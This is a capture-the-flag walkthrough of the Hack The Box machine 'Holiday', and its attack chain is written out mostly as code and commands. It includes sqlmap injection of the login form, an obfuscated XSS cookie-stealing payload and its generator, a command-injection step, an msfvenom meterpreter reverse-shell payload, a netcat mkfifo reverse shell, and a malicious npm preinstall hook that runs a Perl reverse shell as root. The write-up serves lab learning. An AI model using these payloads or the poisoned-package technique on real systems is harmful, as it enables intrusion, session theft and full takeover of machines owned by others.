Holiday is an insane box officially. It’s really difficult to get the user permission. The most difficult part should be how to pass the XSS filter. It may need a lot of time. And the root privesc is based on the exploitation of npm install which is relatively fresh.

Information enumeration

As usual, use nmap to detect open ports and related services: nmap -A

Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-19 09:49 GMT
Nmap scan report for htb.holiday (
Host is up (0.67s latency).
Not shown: 998 closed ports
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 c3:aa:3d:bd:0e:01:46:c9:6b:46:73:f3:d1:ba:ce:f2 (RSA)
|   256 b5:67:f5:eb:8d:11:e9:0f:dd:f4:52:25:9f:b1:2f:23 (ECDSA)
|_  256 79:e9:78:96:c5:a8:f4:02:83:90:58:3f:e5:8d:fa:98 (ED25519)
8000/tcp open  http    Node.js Express framework
|_http-title: Error
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 111/tcp)
1   630.30 ms
2   322.47 ms htb.holiday (

There are only two ports open. The port 8000 is an HTTP service which is hosted by Express. It should be our breakthrough.


Access to, there is nothing except an image. Download the image, and try to see more information about the image with ExifTool. Nothing interesting found.


Then try to brute force the directory. Gobuster and dirbuster seem not to be very useful for this box. If you try dirb, you will soon find some important directories, including admin, login. Try to access It is a login web page. Try to login with some default credentials. Not work. Then use burp to save the login request to a file.

POST /login HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Connection: close
Upgrade-Insecure-Requests: 1



Try to use sqlmap to brute force the login request. Due to the awful network or something, sqlmap is slow for me to use for the boxed in hack the box. So try to prefer to get some important information instead of dump all information in sqlmap. For example, obtain tables firstly. Then dig into the interesting table.

sqlmap -r sql.req --level=5 --risk=3 --tables --threads=10


By sqlmap, it seems that the database is SQLite and there are 5 tables. The users table is interesting. There may are some valid user and password.

sqlmap -r sql.req --level=5 --risk=4 -T users --threads=10


A user is found. Hashkiller is a wonderful hash crack online tool. The hash can be cracked easily.


Log in with this user. It seems to be a booking website.



Click any booking and see the booking details. It consists of two tabs, including View and Notes. In Notes, one word is interesting: “All notes must be approved by an administrator - this process can take up to 1 minute.” An administrator is always attractive to hackers. It seems that the note will be approved by the administrator. So it’s possible to steal the session cookie of the administrator if there is an XSS vulnerability in the note edit form. I think it’s the hardest part of this box. It’s not easy to find the appropriate pass way. There is a way to utilize fromCharCode and other skills to pass the XSS filter. The following javascript code is utilized to generate the payload:

var url = 'http://localhost:8000/vac/8dd841ff-3f44-4f2b-9324-9a833e2c6b65';
var str = `$.ajax({method:'GET',url:'${url}',success:function(data){$.post('',data)}})`;
result = "";
for (var i = 0; i < str.length; i++) {
  result += str.charCodeAt(i) + ',';
result = result.substr(0, result.length - 1);
var payload = `<img src="x/><script>eval(String.fromCharCode(${result}));</script>">`;


Set kali to listen to port 80: nc -lvnp 80. The code can be run in the chrome dev. Input the generated payload into the note, wait a minute the data will be sent to kali.

The cookie of the administrator is obtained which is HTML encoded. Decode it with a burp. And change the cookie in the storage of firefox. Refresh the web page. Now you can hijack the administrator session cookie. Access to There seems nothing special except two buttons, including Booking and Notes.



After some exploration, you will find that there is command injection in the two function url. You can try to access You can find the directories in the exported file. One thing should be noticed, as & has been prohibited. So you can pass this by %26. Hence, it seems that the table name exists RCE. But it’s limited to characters, numbers and /. So you should try to RCE by these. It’s not possible to use the command to obtain reverse shell by command. For example, rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1234 >/tmp/f. As many characters is not allowed.


Utilize msfvenom to generate the payload:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=1234 -f elf > shell

Then upload the shell to the victim and execute it. As you are not allowed to use .. So convert the IP address to decimal by this website. Access the following URLs to execute the corresponding commands:

Before running the shell, you should set meterpreter in Kaili.

use exploit/multi/handler
set LPORT 1234
set payload linux/x86/meterpreter/reverse_tcp

Then, we get the shell!



Privilege escalation

Check the sudo permissions firstly: sudo -l. You will find the user has the permission to execute sudo npm i. rimrafall this repository has described that npm install may be dangerous. It can be utilized to execute commands. You can upload the directory to the victim or create one by yourself.

cd app
mkdir rimrafall
cd rimrafall
echo "module.exports = "install my be dangerousr"" > index.js

Create the package.json and upload it to the target directory. preinstall can be utilized to execute the command. I have found that some command to obtain a reverse shell is not useful. As Perl is installed in the machine. And create a file called prel3 to obtain the reverse shell.

  "name": "rimrafall",
  "version": "1.0.0",
  "description": "rm -rf /* # DO NOT INSTALL THIS",
  "main": "index.js",
  "scripts": {
    "preinstall": "perl prel3"
  "keywords": [
  "author": "João Jerónimo",
  "license": "ISC"
use Socket;$i="";$p=3344;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};

Set kali listen to port 3344: nc -lvnp 3344. In the victim, executed by: sudo npm i rimrafall. Now, we are root!